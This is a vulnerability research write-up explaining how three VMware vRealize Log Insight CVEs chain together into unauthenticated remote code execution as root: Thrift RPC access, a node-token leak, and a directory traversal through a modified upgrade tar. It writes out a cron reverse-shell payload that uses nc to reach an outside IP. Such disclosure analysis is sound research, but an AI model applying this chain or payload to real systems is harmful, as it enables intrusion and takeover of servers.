Introduction
The recent VMware VMSA describes four new CVEs affecting VMware vRealize Log Insight, reported by ZDI. Three of these CVEs can be combined to give an attacker remote code execution as root. This vulnerability is exploitable in the default configuration for VMware vRealize Log Insight. We have successfully reproduced this exploit and would like to provide the technical details about how this vulnerability works. Our POC can be found here.
Information Gathering
Our first step when trying to reproduce any N-day vulnerability is to gather information. This includes reading the VMSA, and its associated workaround. Its important to note that a researcher should take these write ups with a grain of salt. They often contain information that, for a researcher, can be misleading. However, in this case, the VMSA and workaround provide us with a good pieces of information to get us started.
The VMSA describes four different vulnerabilities:
- CVE-2022-31706: VMware vRealize Log Insight Directory Traversal Vulnerability
- CVE-2022-31704: VMware vRealize Log Insight broken Access Control Vulnerability
- CVE-2022-31710: VMware vRealize Log Insight Deserialization Vulnerability
- CVE-2022-31711: VMware vRealize Log Insight Information Disclosure Vulnerability
CVE-2022-31706, the directory traversal vulnerability, has a CVSS score of 9.8 and potential for RCE, so that will be our main goal. The other CVEs will support us in eventually exploiting CVE-2022-31706.
The workaround contains two scripts: KB90635.sh
and KB90635_validate.sh
. These scripts are indented to change a vulnerable system in some way so that it is no longer vulnerable, without applying a patch. These scripts insert and validate iptables
rules that restrict access to TCP ports 16520 through 16580.
Examining the Vulnerable Ports
Knowing that the workaround restricts TCP ports 16520 through 16580, we can begin to research what purpose these ports serve. We find two valuable pieces of information.
First, we find an article for vRealize Log Insight firewall recommendations that tell us that TCP ports 16520 through 16580 use the Thrift RPC protocol. Apache Thrift is a cross-language RPC framework that supports RPC clients and servers using the Thrift interface definition language. This information tells us that the vulnerability is likely in a RPC server.
Next, we log into the running system and find that TCP port 16520 is created by a java application. We also find the corresponding command line and find out that the main class is com.vmware.loginsight.daemon.LogInsightDaemon
.
Reverse Engineering Log Insight
Searching through the file system, we find the com.vmware.loginsight.daemon.LogInsightDaemon
class resides in /usr/lib/loginsight/application/lib/daemon-service-li.jar
. Digging through this class, we find a function responsible for starting a Thrift server called startThriftServer
.
From here, we are led to the DaemonCommandsHandler
class that implements the server-side Thrift RPC commands. There are a many different RPC commands implemented in this file. However, before we dig too much farther, we need to see if we can execute any of these commands.
Thrift RPC Client
We decide to implement a client for a simple function in DaemonCommandsHandler
. We decide on getNodeType
since it doesn’t require creating too many Thrift definitions and will be easy for us to test out. We create the following simple Thrift definitions file:
We generate the required python files with:
thrift --gen py loginsight.thrift
Finally, we write a simple Python client and test that we can call getNodeType
successfully:
Success! Presumably, the ability to execute Thrift remote procedure calls unauthenticated is unintended. Therefore, we think that this is CVE-2022-31704 — VMware vRealize Log Insight broken access control vulnerability.
Powerful Thrift Remote Procedure Calls
Now that we have verified that we can make unauthenticated remote produced calls, our next task is to figure out if we can use these RPCs to do anything interesting. After some investigation, we find the requestCommand
endpoint which let’s a caller execute one of the following commands:
shutdownCommand
repoImportCommand
restartCommand
phoneHomeFeedbackCommand
hostSyncCommand
ntpSyncCommand
supportBundleCommand
pakUpgradeCommand
configLolCommand
remotePakDownloadCommand
Since we are searching for a directory traversal vulnerability, we examined each of these commands for file system manipulation. We found that remotePakDownloadCommand
was capable of reaching out to an external URL to download a “Pak” file and placing it in /tmp/<filename>.pak
. Furthermore, we discovered that pakUpgradeCommand
invokes the Python script loginsight-pak-upgrade.py
to process the file downloaded by remotePakDownloadCommand
.
loginsight-pak-upgrade.py
Finally, our sights are set on loginsight-pak-upgrade.py
. This script processes a Pak file, presumably to apply a system upgrade. From the script, we learn that a Pak file is just a tar file with certain required files. Since this script extracts the tar file, we are hopeful that we can encode relative paths into the tar file and get an arbitrary file write or directory traversal.
Our focus is drawn to the following portion of the script:
Our goal is to get to line 493 where extractFiles
is called with an empty file list which causes the entire tar file to be extracted. To get to this point, we have to pass a few checks:
PakStruct.integrityCheck(inputFile, locale)
at line 453- We can control
mode
by change changing an RPC argument so if we can pass the integrity check, we will continue execution at line 479 extractFiles(inputFile, fileList)
at line 481 requires the tar file to contain aVMware-vRealize-Log-Insight.mf
andVMware-vRealize-Log-Insight.cert
pak.verifyCertificate
at line 483pak.validateSignature
at line 484Manifest.parseManifest(pak.mfFile)
at line 485manifest.checkSupportVersion()
at line 490manifest.checkDiskSpace()
at line 491
If we can construct a tar file that passes all of these checks, we will hit line 493 and extractFiles
will parse our malicious tar, allowing us to write a file with contents of our choosing to any place on the file system.
Admittedly, we spent some time manually constructing a tar file that would pass all of these checks before we realized that we could simply use a legitimate upgrade file with a small modification to accommodate our payload.
Presumably, this vulnerability is CVE-2022-31706 — VMware vRealize Log Insight Directory Traversal Vulnerability. We can use this vulnerability to write * * * * * root nc -e /bin/bash 192.168.4.60 8888
to /ect/cron.d/exploit
to get a reverse shell!
Information Leak
There is an important piece of information we glossed over, remotePakDownloadCommand
requires a node token to work. A node token is a guid that is unique per instance of Log Insight. This information is not readily available to an unauthenticated user. However, there are various Thrift RPC commands that leak the node token including getConfig
and getHealthStatus
. Presumably, this is CVE-2022-31711 — VMware vRealize Log Insight Information Disclosure Vulnerability.
Summary
To wrap things up, here is an overview of the steps involved in chaining together there three CVEs to gain remote code execution
- We create a Thrift client and are allowed unauthenticated access to the Log Insight Thrift server.
- We create a malicious tar file containing a directory traversal using a valid Pak file.
- Using
remotePakDownloadCommand
, we upload the malicious Pak file to/tmp/<filename>.pak
. - We cause the Pak file to be extracted using
pakUpgradeCommand
. This writes our file to where we want on the filesystem.